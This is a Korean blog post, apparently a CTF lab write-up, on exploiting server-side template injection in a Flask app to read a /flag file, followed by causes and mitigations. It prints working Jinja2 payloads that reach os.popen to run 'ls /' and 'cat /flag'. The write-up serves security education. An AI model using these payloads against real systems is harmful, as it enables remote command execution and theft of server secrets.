반응형
목표
Flask 애플리케이션에서 SSTI(Server-Side Template Injection) 취약점을 이용하여 서버의 중요한 정보에 접근하고, 환경 변수에 저장된 플래그를 획득.
문제 개요
Flask 애플리케이션 취약점
- Flask 코드 분석 결과:
- render_template_string 메서드가 사용자의 입력을 그대로 템플릿으로 렌더링.
- 사용자 입력이 필터링 없이 서버 측에서 처리되는 것이 확인됨.
- 환경 변수:
- app.secret_key가 환경 변수 FLAG로부터 값을 받아 설정됨.
- 이를 통해 플래그가 환경 변수에 저장되어 있음을 유추.
플래그 획득 과정
1. SSTI 취약점 확인
- 기본 테스트: SSTI 여부를 확인하기 위해 간단한 템플릿 인젝션을 시도:
- 결과: 서버가 49를 반환하며, 사용자의 입력이 템플릿으로 렌더링됨을 확인.
{{7*7}}
2. 파일 시스템 탐색
- 명령어 실행: Flask의 템플릿 인젝션 취약점을 이용하여 파일 시스템 탐색을 수행:
- 결과: 파일 목록에서 /flag 파일의 존재를 확인.
{{ config.__class__.__init__.__globals__['os'].popen('ls /').read() }}
3. 플래그 파일 읽기
- 플래그 파일 접근: /flag 파일의 내용을 읽기 위해 다음 코드를 입력:
- 결과: 서버에서 /flag 파일 내용을 출력하며 플래그를 획득.
{{ config.__class__.__init__.__globals__['os'].popen('cat /flag').read() }}
최종 플래그 획득 코드
{{ config.__class__.__init__.__globals__['os'].popen('cat /flag').read() }}
과정 요약
- SSTI 취약점 확인:
- {{7*7}}과 같은 간단한 템플릿 코드로 SSTI 여부를 검증.
- 파일 시스템 탐색:
- ls 명령어를 통해 파일 시스템의 구조를 탐색하고 /flag 파일의 존재 확인.
- 플래그 파일 읽기:
- cat /flag 명령어로 플래그 파일 내용을 출력하여 플래그 획득.
취약점 분석 및 보안 대책
취약점 원인
- render_template_string의 직접 사용: 사용자 입력이 필터링 없이 템플릿으로 렌더링되어 실행됨.
- 환경 변수 노출: 환경 변수 및 서버 파일에 대한 접근 제한 부족.
보안 대책
- render_template_string 사용 금지:
- 사용자 입력을 직접 렌더링하는 메서드는 사용하지 않거나, 엄격한 필터링 적용.
- 환경 변수 보호:
- 환경 변수 값은 서버 외부에서 접근할 수 없도록 제한.
- 샌드박스 환경 적용:
- 서버에서 실행되는 코드를 격리된 환경에서 실행하여 민감한 정보 접근 방지.
- 입력 검증 강화:
- 사용자 입력 값에 대해 화이트리스트 기반의 검증을 수행하여 악성 입력 차단.
SSTI 취약점은 서버의 민감한 정보 노출과 데이터 탈취로 이어질 수 있는 심각한 문제입니다. 이 사례를 통해 Flask 애플리케이션 개발 시 보안 강화의 중요성을 다시 한번 확인할 수 있었습니다.
반응형
'Security > CTF' 카테고리의 다른 글
| 12.1 Business_logic_error (0) | 2025.01.22 |
|---|---|
| 8.2 SSTI - secretkey (0) | 2025.01.22 |
| 3.3 SQLi_WAF_3 (0) | 2025.01.22 |
| 3.1 SQLi_WAF_1 (0) | 2025.01.22 |
| Web_main 기초 과정 정리 (0) | 2025.01.20 |